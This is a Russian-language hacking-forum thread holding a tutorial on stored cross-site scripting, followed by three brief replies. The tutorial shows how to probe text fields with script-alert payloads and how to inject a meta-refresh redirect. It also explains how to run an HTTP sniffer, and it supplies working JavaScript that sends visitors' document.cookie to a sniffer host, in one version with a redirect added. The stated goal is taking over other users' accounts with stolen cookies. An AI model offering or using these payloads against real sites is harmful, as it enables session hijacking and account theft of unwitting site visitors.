Загрузка...

[Статья] XSS - Cross Ste Scripting

Тема в разделе Веб уязвимости создана пользователем Adeptt_inactive 9 апр 2015. 1579 просмотров

Загрузка...
  1. Adeptt_inactive
    Adeptt_inactive Автор темы 9 апр 2015 12 11 мар 2015
    Предисловие: Ничего стойкого по данной уязвимости не нашёл , по-этому пишу свою статью , ух держите меня семеро
     

    Для начала постараемся узнать , что же такое XSS . - Cross Ste Scripting (CSS уже занято Cascade Style Sheets). Уязвимость, возникающая вследствии недостаточной фильтрации вводимых пользователями и в дальнейшем отображаемых на страницах сайта данных. Позволяет разместить непосредственно на страницах сайта произвольный html-код (соответственно, код будет выполняться у всех пользователей, зашедших на страницу).

    Давайте подумаем, что значат для нас такие возможности. Что же можно сделать интересного при помощи HTML ? - Ну во первых , можно вывести надпись огромных размеров на главную страницу , или-же поставить редирект на другой сайт.

     

    Редирект делается таким образом:.


    <META HTTP-EQUIV='Refresh' content ='0; URL=http://КУДА_ПЕРЕНАПРАВИТЬ'>
    Конечно-же , можно ещё залить эксплойт или выполнить какой-то javascript. Выполнение нашего js в первую очередь , даёт возможность позаимствовать аутентификационные данные пользователя - cookies (они же куки, кукисы и печеньки). Это временные файлы, которые сохраняются в браузере пользователя после авторизации. В некоторых случаях можно подставить заимствованные куки вместо своих и таким образом авторизоваться на сайте от чужого лица. Но пока не это для нас главное.

    Поиск уязвимости.

    Для того, чтобы обнаружить xss, нужно проверить на её наличие все потенциально уязвимые элементы сайта. В данном случае таковыми являются поля ввода текста, который в последующем будет отображён на страницах сайта (принтабельные поля). Это могут быть поля отправки сообщения, темы сообщения и т.п. Следует проверять на наличие уязвимости каждое такое поле. Для этого поизводим последовательно всё нижеописанное до тех пор, пока не увидим аналогичное сообщение:

    [IMG]

    Итак, начинаем искать - подставляем во все принтабельные поля следующий код:
     


    <script>alert('')</script>
    Код

    "><script>alert('')</script>
    Ничего не нашли ? - Смотрим сурс (исходник) странички и ищем там что-то похожее на код выше (то есть ищем то, что мы туда внедрили). Нашли? Смотрите, что стало с нашим кодом. Скорее всего, были отфильтрованы спец-символы < и >. Без них код работать, ясное дело, не будет... Они убили скрипт! Сволочи! xD Фильтрация этих символов означает одно: активной xss здесь нет. Но не отчаиваемся, ещё есть вариант с пассивными xss и даже есть шанс обойти фильтрацию! Но об этом чуть позже (см. дополнения).

    Если всё же вам удалось лицезреть сообщение, значит вы нашли уязвимое поле.

     

    Использование HTTP-Сниффера.

     

    Итак, заходите на сайт, где находится ваш сниффер. Знакомимся с интерфейсом: есть дата и время зачем-то ещё наш ip. За ними кнопочка обновления лога. А ещё есть таккая штука, как картинка сниффера. Имя её в моей сборке - s.gif Вот именно через обращения к этой картинке сниффер и ловит все запросы. Откройте эту самую картинку (yourhost.com/s.gif) и обновите лог. Видите новую запись? В нашем распоряжении время совершения запроса, ip того, кто обратился к картинке, пустая строка запроса (QUERY), реферер (с какого сайта совершено обращение к картинке) и агент (т.е. браузер) пользователя. Теперь попробуйте к ссылке на картинку дописать что-нибудь после знака "?". Например, так:


    Код

    http://yourhost.com/s.gif?шо такое
    Обновляем, смотрим строку запроса (QUERY). Вывод: сниффер запишет всё, что было после ? (это и есть запрос).

    Итак, если вы нашли xss, вам нужен код, крадущий кукис. Каждый раз при открытии страницы с этим кодом, он будет отправлять на сниффер куки от этой страницы. Для обычной активной xss, рассматриваемой в этом уроке код будет таким:


    Код

    <script> img = new Image(); img.src = "http://yourhost.com/s.gif?"+document.cookie; </script>

    Можно так же сделать так, чтобы после выполнения кода происходил редирект (переадресация) на другую страницу:

    Код

    <script> img = new Image(); img.src = "http://yourhost.com/s.gif?"+document.cookie;
    location.href ="http://адрес_редиректа/" </script>
    Не забудьте заменить yourhost.com на адрес вашего сниффера во всех кодах!
     
    9 апр 2015 Изменено
  2. RaysMorgan
    Хорошая статья, не хватает абзаца про обход фильтров)
     
  3. FileZila
    FileZila 9 апр 2015 Заблокирован(а) 25 18 янв 2015
    Когда копипастиш , выделяеш текст и жмеш 

    [IMG]
     
    9 апр 2015 Изменено
  4. ๖ۣۣۜTrueUnicorn™65784
    Спасибо за статейку
     
Top